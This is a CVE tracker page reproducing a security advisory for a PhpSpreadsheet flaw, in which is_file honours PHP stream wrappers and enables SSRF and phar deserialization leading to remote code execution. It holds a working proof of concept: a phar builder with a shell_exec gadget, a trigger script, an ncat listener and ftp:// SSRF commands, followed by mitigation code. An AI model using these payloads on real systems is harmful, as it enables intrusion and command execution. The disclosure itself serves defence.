CVE Watchtower


← Back to CVE List

CVE-2026-34084NVD

Vulnerability Summary

The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.
The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).

## PoC
To reproduce the vulnerable behavior, the following scripts were used:

`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:
```ini
phar.readonly=0
```

`make_phar.php` to create the malicious file:
```php
<?php
// php -c php.ini make_phar.php
class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

```

`test.php` showcases the unsafe pattern:
```php
<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}

$filename = $argv[1] ?? null;

if (!$filename) {
echo "Usage: php test.php <path>\n";
echo " e.g. php test.php phar://exploit.xlsx/whatever\n";
exit(1);
}

echo "Calling IOFactory::load('" . $filename . "')\n";

try {
$spreadsheet = IOFactory::load($filename);
var_dump($spreadsheet);
} catch (Throwable $e) {
echo "Vuln has still triggered even if exception triggers.\n";
}


```
### RCE
Run the PoC (for RCE):
```bash
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt
```
The file `/tmp/poc.txt` should now be present on disk.
> Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.

### SSRF
Run the PoC (for SSRF):
```bash
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test
```

Observe a connection is made to `127.0.0.1` on port `21`.



## Root Cause Analysis

Following the API exposed by the library, using `IOFactory::load`, the code proceeds as follows:
```php
IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename);
```


The one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.

```php
public function __destruct()
{
// Unlink temporary files
// There is nothing reasonable to do if unlink fails.
if ($this->tempFileName != '') {
@unlink($this->tempFileName);
}
}

/** @param mixed[] $data */
public function __unserialize(array $data): void
{
$this->tempFileName = '';

throw new SpreadsheetException('Unserialize not permitted');
}
```

Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts.

## Suggested mitigations

Use `is_file` only after making sure the filename does not contain any php wrapper:
```php
$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks πŸ™‚
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
throw new \PhpOffice\PhpSpreadsheet\Exception(
"Stream wrappers are not permitted as file paths: {$filename}"
);
}
```

or perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly:
```php
$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}

// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
throw new ...
}
```

> Note: `stream_is_local()` would also not be safe here β€” as it considers `phar://` to be local and would not block it.
Severity Level
CRITICAL
Published Date
Apr 29, 2026
Last Modified
May 8, 2026
Exploitation Status
????
EPSS Score (30-Day)
0.24%Probability
Root Weakness (CWE)
N/A

External References